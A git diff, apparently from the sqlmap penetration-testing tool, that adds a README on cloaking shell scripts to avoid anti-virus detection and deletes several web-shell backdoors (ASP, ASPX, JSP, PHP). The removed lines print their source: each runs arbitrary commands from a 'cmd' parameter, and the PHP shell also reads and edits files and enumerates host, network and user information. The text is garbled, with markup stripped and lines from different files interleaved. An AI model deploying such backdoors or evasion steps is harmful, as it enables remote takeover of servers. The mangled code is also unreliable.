diff --git a/shell/README.txt b/shell/README.txt new file mode 100644 index 000000000..0bbf1690d --- /dev/null +++ b/shell/README.txt @@ -0,0 +1,10 @@ +Due to the anti-virus positive detection of shell scripts stored inside this folder, +we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing +has to be done prior to their usage by sqlmap, but if you want to have access to their +original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. + +To prepare the original scripts to the cloacked form use this command: +find backdoor.* uploader.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; + +To get back them into the original form use this: +find backdoor.*_ uploader.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; \ No newline at end of file diff --git a/shell/backdoor.asp b/shell/backdoor.asp deleted file mode 100644 index c2278aaea..000000000 --- a/shell/backdoor.asp +++ /dev/null @@ -1,44 +0,0 @@ - - -<% -Set oScript = Server.CreateObject("WSCRIPT.SHELL") -Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") -Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") - -szCMD = request("cmd") - -If (szCMD <> "") Then - szTempFile = "C:\" & oFileSys.GetTempName() - Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) - Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0) - End If -%> - - -
- --<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> -- - - - - diff --git a/shell/backdoor.jsp b/shell/backdoor.jsp deleted file mode 100644 index daf430927..000000000 --- a/shell/backdoor.jsp +++ /dev/null @@ -1,47 +0,0 @@ -<%@ page import="java.io.*" %> -<% - -Process p; -String s, cmd, html; - -cmd = request.getParameter("cmd"); -if (cmd == null) { - cmd = "pwd"; -} - -String []bashcmd = {"/bin/sh","-c",cmd}; - -html = request.getParameter("html"); - -if (html != null) { - out.println(""); -} - -p = Runtime.getRuntime().exec(bashcmd); - -BufferedReader stdInput = new BufferedReader(new - InputStreamReader(p.getInputStream())); - -BufferedReader stdError = new BufferedReader(new - InputStreamReader(p.getErrorStream())); - - - -while ((s = stdInput.readLine()) != null) { - out.println(s); - if (html != null) { - out.println("
-<% - If (IsObject(oFile)) Then - On Error Resume Next - Response.Write Server.HTMLEncode(oFile.ReadAll) - oFile.Close - Call oFileSys.DeleteFile(szTempFile, True) - End If -%> - - diff --git a/shell/backdoor.aspx b/shell/backdoor.aspx deleted file mode 100644 index b420c875a..000000000 --- a/shell/backdoor.aspx +++ /dev/null @@ -1,42 +0,0 @@ -<%@ Page Language="C#" Debug="true" Trace="false" %> -<%@ Import Namespace="System.Diagnostics" %> -<%@ Import Namespace="System.IO" %> - - - -awen asp.net webshell - - -
System information: here
";
- echo "PHP info: here
";
- echo "Send an email: here
" . @PHP_OS; - echo "Server uname
" . php_uname(); - echo "Server uptime
"; - echo (!$win) ? ex("uptime") : ex("net statistics server"); - echo "Server time
"; - echo date("D, M d, h:iA"); - echo "Disk space
"; - echo "Total space: " . getSymbolByQuantity($total) . "Web server username
"; - echo "Free space: " . getSymbolByQuantity($free); - echo "
"; - echo (!$win) ? `id` . "PHP version
" : @get_current_user(); - echo "
" . @phpversion(); - echo "PHP safe_mode
"; - echo ($safeMode) ? "ONPHP open_basedir
" : "OFF
"; - echo "
"; - echo ($openBaseDir) ? "ONPHP magic_quotes_gpc
" : "OFF
"; - echo "
"; - echo ($magicQuotesGpc) ? "ONCPU information
" : "OFF
"; - echo "
"; - echo ex("cat /proc/cpuinfo"); - echo "Memory information
"; - echo ex("cat /proc/meminfo"); - echo "Open ports and active connections
"; - echo (!$win) ? ex("netstat -nat") : ex("netstat -ano"); - echo "Network devices
"; - echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all"); - echo "Processes
"; - echo (!$win) ? ex("ps auxfww") : ex("tasklist"); - echo ""; - echo ($win) ? "Network use
".ex("net use")."Network share
".ex("net share")."Network user
".ex("net user")."" : ""; -} - -else if(isset($_REQUEST["phpinfo"])) { - echo @phpinfo(); -} - -else if (isset($_REQUEST["readFile"])) { - $file=$_REQUEST["readFile"]; - $fileHandler=@fopen($file, "rb") or error("Unable to read file
" . $file . "
");
- $fileContent=@file_get_contents($file);
- echo "File: " . $file . "
"; - echo "
" . @htmlspecialchars($fileContent) . ""; -} - -else if(isset($_REQUEST["editFile"])) { - $file=$_REQUEST["editFile"]; - if (!$file) { - error("Specify the file to edit"); - } - $fileHandler=@fopen($file, "rb") or error("Unable to read file
" . $file . "
");
- $fileContent=@file_get_contents($file);
- echo "